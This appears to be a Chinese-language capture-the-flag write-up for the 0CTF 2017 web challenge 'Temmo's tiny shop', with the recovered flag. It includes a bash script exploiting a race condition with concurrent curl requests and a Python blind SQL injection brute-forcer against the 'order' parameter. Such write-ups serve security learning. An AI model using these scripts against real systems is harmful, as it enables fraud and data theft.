Writeup for 0CTF2017 web
2017-03-26 18:21
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Temmos tiny shop
2017年0CTF,WEB部分题目的Writeup。
得到HINT的提示:
接下来便是sql注入,注入点在search功能的order参数上,可以这样构造
因为没有回显,对flag进行逐个字符的爆破,遍历ascii码表,通过返回内容中商品的顺序来判断每个字符的值。python代码如下:
可以得到flag
OVER~
2017年0CTF,WEB部分题目的Writeup。
Temmo’s tiny shop
本题首先要获取!HINT!,但是初始钱包里只有4000,而HINT要价8000,此处使用条件竞争(race condition)这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号,使用两个COOKIE来同时进行售卖的动作,则会进行两次售卖动作。bash代码如下#!/bin/bash cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910" cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0" url="http://202.120.7.197/app.php" curl "$url?action=buy&id=2" -b $cookie1 curl "$url?action=sale&id=2" -b $cookie1 & curl "$url?action=sale&id=2" -b $cookie2
得到HINT的提示:
OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`
接下来便是sql注入,注入点在search功能的order参数上,可以这样构造
http://202.120.7.197/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)
因为没有回显,对flag进行逐个字符的爆破,遍历ascii码表,通过返回内容中商品的顺序来判断每个字符的值。python代码如下:
#!/usr/bin/python import requests url = "http://202.120.7.197/app.php" param = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{},1)like({}),price,name)" headers = {"Cookie" : "PHPSESSID=39083e7nft6kbvkjvph29socb0"} answer='' for i in range(40): for j in range(128): if j == 37: continue content = requests.get(url+param.format(str(i), hex(j)), headers=headers).content print param.format(str(i), hex(j)) print content if content.find('"id":"6"') < content.find('"id":"3"'): answer += chr(j) print chr(j) break print answer
可以得到flag
FLAG_R4CE_C0NDITI0N_I5_EXCITED_
OVER~
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